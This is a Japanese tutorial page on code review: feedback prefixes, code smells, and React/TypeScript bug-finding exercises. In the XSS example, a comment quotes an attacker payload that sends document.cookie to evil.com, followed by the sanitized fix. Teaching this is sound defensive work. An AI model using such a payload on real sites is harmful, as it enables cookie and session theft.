コードレビュー レッスン3
レビュー実践
実際のコード例を見ながら、レビューのスキルを磨こう
フィードバックの伝え方
レビューコメントの書き方一つで、チームの雰囲気は大きく変わります。建設的で具体的なフィードバックを心がけましょう。
コメントのプレフィックス
コメントの意図を明確にするため、プレフィックスを付けるチームが増えています。
[must]マージ前に必ず修正が必要[should]修正を強く推奨するが、ブロックはしない[nit]些細な指摘（命名の好み、フォーマットなど）[question]理解のための質問[praise]良いコードへの賞賛悪いフィードバック
❌ "これは間違ってる"
具体性がなく、修正方法が分からない
❌ "なんでこう書いたの？"
攻撃的に感じられる
❌ "普通こうしない"
主観的で理由がない
良いフィードバック
✅ "[must] ここで null チェックが必要です。API が null を返す可能性があります"
具体的な問題と理由を説明
✅ "[nit] この変数名は getUserById の方が意図が伝わりやすいかもしれません"
提案型で押し付けない
✅ "[praise] このカスタムHookの抽象化、とても良いですね!"
良い点を認める
フィードバックの受け方
レビューを受ける側にもスキルが必要です。 コードへの指摘を個人攻撃と捉えないことが大切です。
1
指摘に感謝する
レビュアーは自分の時間を使ってコードを改善しようとしている。「ありがとうございます、修正します」が基本
2
理由が分からなければ質問する
「なぜその方が良いのか教えていただけますか？」と素直に聞く
3
意見が異なる場合は根拠を示す
感情ではなく技術的な理由で議論する。最終的に合意できなければチームリードに判断を委ねる
4
修正したらコメントで知らせる
「修正しました」「別のアプローチにしました」など、対応状況を返信する
よくあるコードスメルを見つける
コードスメルとは、バグではないものの 設計上の問題を示唆するコードの特徴です。レビューでよく指摘されるパターンを見てみましょう。
1. マジックナンバー
Before（問題あり）
// 何の数字か分からない
if (password.length < 8) {
return "短すぎます";
}
if (items.length > 50) {
showPagination();
}
setTimeout(fetchData, 300000);After（改善後）
const MIN_PASSWORD_LENGTH = 8;
const ITEMS_PER_PAGE = 50;
const FETCH_INTERVAL_MS = 5 * 60 * 1000;
if (password.length < MIN_PASSWORD_LENGTH) {
return "短すぎます";
}
if (items.length > ITEMS_PER_PAGE) {
showPagination();
}
setTimeout(fetchData, FETCH_INTERVAL_MS);2. 巨大な関数
Before（問題あり）
async function handleSubmit(data: FormData) {
// バリデーション（20行）
if (!data.name) { ... }
if (!data.email) { ... }
if (!data.password) { ... }
// ...
// データ変換（15行）
const user = { ... };
// ...
// API呼び出し（10行）
const res = await fetch(...);
// ...
// エラーハンドリング（15行）
if (!res.ok) { ... }
// ...
// 後処理（10行）
redirect(...);
// ...
// 合計70行以上の関数!
}After（改善後）
async function handleSubmit(data: FormData) {
const errors = validateForm(data);
if (errors.length > 0) {
return showErrors(errors);
}
const user = transformToUser(data);
try {
await createUser(user);
showSuccess("ユーザーを作成しました");
redirect("/users");
} catch (error) {
handleApiError(error);
}
}
// 各処理を個別の関数に分離
function validateForm(data: FormData) { ... }
function transformToUser(data: FormData) { ... }
async function createUser(user: User) { ... }
function handleApiError(error: unknown) { ... }3. 深いネスト
Before（問題あり）
function processOrder(order: Order) {
if (order) {
if (order.items.length > 0) {
if (order.user) {
if (order.user.isActive) {
// やっと本来のロジック
return calculateTotal(order);
} else {
throw new Error("無効なユーザー");
}
} else {
throw new Error("ユーザーなし");
}
} else {
throw new Error("商品なし");
}
} else {
throw new Error("注文なし");
}
}After（早期リターン）
function processOrder(order: Order) {
if (!order) {
throw new Error("注文なし");
}
if (order.items.length === 0) {
throw new Error("商品なし");
}
if (!order.user) {
throw new Error("ユーザーなし");
}
if (!order.user.isActive) {
throw new Error("無効なユーザー");
}
// ガード節の後、本来のロジックに集中
return calculateTotal(order);
}実践: バグを見つけてみよう
以下のReact/TypeScriptコードにはよくあるバグが含まれています。 レビュアーの視点で問題を見つけてみましょう。
例1: データ取得コンポーネント
function UserProfile({ userId }: { userId: string }) {
const [user, setUser] = useState<User | null>(null);
useEffect(() => {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(data => setUser(data));
}, []); // <-- ここに問題がある!
if (!user) return <p>Loading...</p>;
return <h1>{user.name}</h1>;
}問題点
useEffectの依存配列に userId が含まれていません。userId が変わっても再取得されず、 古いデータが表示され続けます。また、エラーハンドリングもありません。
// 修正後
function UserProfile({ userId }: { userId: string }) {
const [user, setUser] = useState<User | null>(null);
const [error, setError] = useState<string | null>(null);
useEffect(() => {
let ignore = false;
fetch(`/api/users/${userId}`)
.then(res => {
if (!res.ok) throw new Error("取得に失敗しました");
return res.json();
})
.then(data => {
if (!ignore) setUser(data);
})
.catch(err => {
if (!ignore) setError(err.message);
});
return () => { ignore = true; };
}, [userId]); // userId を依存配列に追加
if (error) return <p>エラー: {error}</p>;
if (!user) return <p>Loading...</p>;
return <h1>{user.name}</h1>;
}例2: カウンターコンポーネント
function Counter() {
const [count, setCount] = useState(0);
function handleClick() {
setCount(count + 1);
setCount(count + 1);
setCount(count + 1);
// 3回呼んだのに 1 しか増えない!
}
return <button onClick={handleClick}>Count: {count}</button>;
}問題点
Reactのstate更新はバッチ処理されます。countの 値はクロージャで固定されているため、3回 setCount(0 + 1) が 呼ばれるだけです。
// 修正後: 関数型更新を使う
function handleClick() {
setCount(prev => prev + 1);
setCount(prev => prev + 1);
setCount(prev => prev + 1);
// 正しく 3 増える
}例3: セキュリティの問題
function Comment({ comment }: { comment: string }) {
// dangerouslySetInnerHTML で直接HTMLを挿入
return (
<div
dangerouslySetInnerHTML={{ __html: comment }}
/>
);
}
// 攻撃者が以下を投稿した場合:
// <img src=x onerror="document.location='https://evil.com/?cookie='+document.cookie">XSS脆弱性
ユーザー入力を dangerouslySetInnerHTML で 直接挿入すると、XSS（クロスサイトスクリプティング）攻撃が可能になります。
// 修正後: テキストとして表示するか、サニタイズする
import DOMPurify from "dompurify";
function Comment({ comment }: { comment: string }) {
// 方法1: テキストとして表示（最も安全）
return <div>{comment}</div>;
// 方法2: HTMLが必要ならサニタイズする
const clean = DOMPurify.sanitize(comment);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}実践: パフォーマンスの問題を見つける
レビューでよく指摘されるパフォーマンスの問題を実際のコードで見てみましょう。
不要な再レンダリング
Before（毎回再レンダリング）
function TodoList({ todos }: Props) {
// 毎回新しいオブジェクトが生成される
const style = { color: "red" };
// 毎回新しい関数が生成される
const filtered = todos.filter(
t => t.status === "active"
);
return (
<ul style={style}>
{filtered.map(todo => (
<TodoItem
key={todo.id}
todo={todo}
// 毎回新しい関数が渡される
onDelete={() => deleteTodo(todo.id)}
/>
))}
</ul>
);
}After（最適化後）
const style = { color: "red" } as const;
function TodoList({ todos }: Props) {
const filtered = useMemo(
() => todos.filter(
t => t.status === "active"
),
[todos]
);
const handleDelete = useCallback(
(id: string) => deleteTodo(id),
[]
);
return (
<ul style={style}>
{filtered.map(todo => (
<TodoItem
key={todo.id}
todo={todo}
onDelete={handleDelete}
/>
))}
</ul>
);
}
// memo で不要な再レンダリングを防止
const TodoItem = memo(function TodoItem(
{ todo, onDelete }: ItemProps
) {
return (...);
});まとめ
- • フィードバックにはプレフィックス（[must] / [nit] / [praise]）を付けて意図を明確にする
- • 指摘は具体的に・建設的に・理由とともに伝える
- • レビューを受ける側は感謝の姿勢を持ち、技術的な議論を歓迎する
- • マジックナンバー・巨大な関数・深いネストはよくあるコードスメル
- • useEffectの依存配列・状態更新・XSSはReactでよく見つかるバグ
- • useMemo・useCallback・memoでパフォーマンス問題を改善できる